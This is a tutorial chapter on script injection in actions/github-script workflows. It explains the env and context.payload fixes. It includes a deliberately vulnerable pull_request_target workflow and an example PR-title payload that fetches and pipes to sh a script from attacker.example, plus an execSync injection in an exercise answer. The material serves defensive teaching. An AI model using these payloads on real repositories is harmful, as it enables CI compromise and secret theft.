Sub topic 6
Injection in actions/github-script
This chapter covers how script injection appears in actions/github-script and similar script-style actions. It assumes you can read YAML workflows, know basic JavaScript, and have read the earlier chapters on how ${{ }} expressions are expanded and how run steps are fixed with environment variables.
Why script-style actions are affected
actions/github-script runs the text in its script input as the body of an async JavaScript function. It gives that function a pre-authenticated github client (Octokit), plus context, core, exec, io and glob. This makes it a popular way to label pull requests, post comments and call the API without writing shell.
The injection risk is the same one you saw with run steps. GitHub expands ${{ }} expressions in the workflow file before the step starts. The script input is just a string in the workflow, so expressions in it are replaced with their values first. The action then receives the finished text and executes it as JavaScript. The expanded value becomes source code, not data.
The difference is the language. In a run step the attacker needs shell syntax such as ; or $(...). Here the attacker needs JavaScript syntax such as a closing quote or backtick. JavaScript injection is often more powerful, because the injected code runs inside a script that already holds an authenticated github client.
A vulnerable example
This workflow logs the title of each new pull request. It uses pull_request_target, which gives the job a write-capable token and access to repository secrets.
name: label-pr
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
with:
script: |
console.log("Title: ${{ github.event.pull_request.title }}")Suppose an outside contributor opens a pull request from a fork with this title:
x"); require('child_process').execSync('curl https://attacker.example/x | sh'); console.log("After expansion, the script the action receives is:
console.log("Title: x"); require('child_process').execSync('curl https://attacker.example/x | sh'); console.log("")The first quote in the title closes the string. The attacker's statements run next, and a final console.log(" absorbs the leftover quote and closing text so the script stays valid. The injected code can run shell commands, read process.env, or call github.rest with the job's token.
Template literals are no safer. Writing ` Title: ${{ ... }} only changes which character breaks out, and a title containing a backtick or ${...}` does it. Single quotes, double quotes and backticks are all breakable. No quoting style inside the script makes expansion safe.
The fix: pass data through the environment
The remedy is the same as for run steps. Put the expression in an env value, so the runner stores it as a string in the process environment. Then read it in JavaScript from process.env.
name: label-pr
on:
pull_request_target:
types: [opened]
permissions:
contents: read
pull-requests: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
env:
PR_TITLE: ${{ github.event.pull_request.title }}
with:
script: |
console.log(`Title: ${process.env.PR_TITLE}`)The ${{ }} expression now sits in the env block, where its value is only ever a string assigned to a variable. The script text contains no expressions, so it is the same for every run. The template literal ${process.env.PR_TITLE} is a JavaScript interpolation that happens while the script runs. It inserts the value as data and does not parse it as code.
The permissions block also matters. It limits the damage if some other flaw lets an attacker run code. Here the token can read repository contents and write only to pull requests.
A shortcut that is often enough
actions/github-script already provides context, which holds the event payload. You can often skip env entirely and read the value from there:
name: label-pr
on:
pull_request_target:
types: [opened]
permissions:
contents: read
pull-requests: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
with:
script: |
const title = context.payload.pull_request.title
console.log(`Title: ${title}`)No ${{ }} appears in the script, so nothing is expanded into the source. The value is read from the event file at run time and handled as data. Use this when the value is part of the triggering event. Use env for values from other contexts, such as steps.<id>.outputs or inputs.
Other script-style actions
The problem is not specific to one action. Any input that a tool interprets as code or as a command is affected. Check these inputs:
| Action or input | Interpreted as | Safer approach |
|---|---|---|
| `actions/github-script` `script` | JavaScript | `env` plus `process.env`, or `context.payload` |
| `run` in any step | Shell | `env` plus `"$VAR"` |
| Inline scripts in third-party actions such as a `script:` or `command:` input | The action's own language | Read the action's documentation, then pass values through the environment |
| `with:` inputs passed into a shell command inside a composite action | Shell | Use `env` inside the composite action |
A composite action is a reusable action defined in YAML, and it can hide the same flaw. If its run step contains ${{ inputs.title }}, the caller's value is pasted into the shell script, however carefully the caller handled it. When you write a composite action, apply the env pattern to each input you use inside run.
Values that are risky in JavaScript context
The earlier chapter on untrusted inputs listed the event fields an outside contributor can set. These matter in script inputs as well:
github.event.pull_request.titleandgithub.event.pull_request.bodygithub.event.issue.titleandgithub.event.issue.bodygithub.event.comment.bodyandgithub.event.review.bodygithub.head_refandgithub.event.pull_request.head.ref, which hold the branch namegithub.event.head_commit.messageand commit author names and emails
Branch names are easy to forget. Git allows characters such as ", $, (, ), and ; in branch names, so a branch can itself be a working payload.
Common mistakes
- Escaping instead of separating. Adding
.replace(/"/g, '\\"')around an expression does not work. The expression is replaced before any JavaScript runs, so your escaping code never sees the original value. - Trusting a "safe" field. Numeric fields such as
github.event.pull_request.numberare safe, because GitHub controls them. Free-text fields are not. When unsure, treat the field as attacker-controlled. - Fixing only the first occurrence. A script often contains several expressions. Search the whole
scriptinput for${{. - Moving the problem into
with:. Passing${{ github.event.issue.title }}as another action's input is fine only if that action treats it as data. Check what the action does with it. - Leaving a broad token in place. Fixing injection is necessary but not sufficient. Without
permissions, a missed injection elsewhere runs with the default token, which in many repositories can write to contents.
Checking your fix
You can confirm a workflow is clean with a search for expressions inside script inputs:
grep -rn --include='*.yml' --include='*.yaml' '\${{' .github/workflows/Review each match. An expression belongs in env, in an if: condition, or in a with: input that the action treats as data. It does not belong in a script input or a run block. Later chapters cover automated tools that do this check for you.
Exercise
A workflow uses actions/github-script with the line const body = "${{ github.event.comment.body }}" in its script input. Explain how an attacker exploits it and show two ways to fix it.
Show answer
The runner replaces the expression with the comment text before the action runs, so the comment becomes JavaScript source. A comment such as "; require('child_process').execSync('id'); " closes the string and runs attacker code with the job's token. Fix 1: add env: COMMENT_BODY: ${{ github.event.comment.body }} to the step and write const body = process.env.COMMENT_BODY. Fix 2: write const body = context.payload.comment.body, which needs no expression at all. In both cases the comment is read as a string value at run time.
Exercise
A developer writes .replace(/"/g, '\\"') around the expression ${{ github.head_ref }} inside a script input to make it safe. Why does this not help?
Show answer
The ${{ }} expression is expanded into the script text before any JavaScript executes. The .replace call is part of the text being generated, so it is never applied to the branch name before the name is inserted. A branch name containing a quote still breaks out of the string. The value must travel through env or context so that it is never part of the source.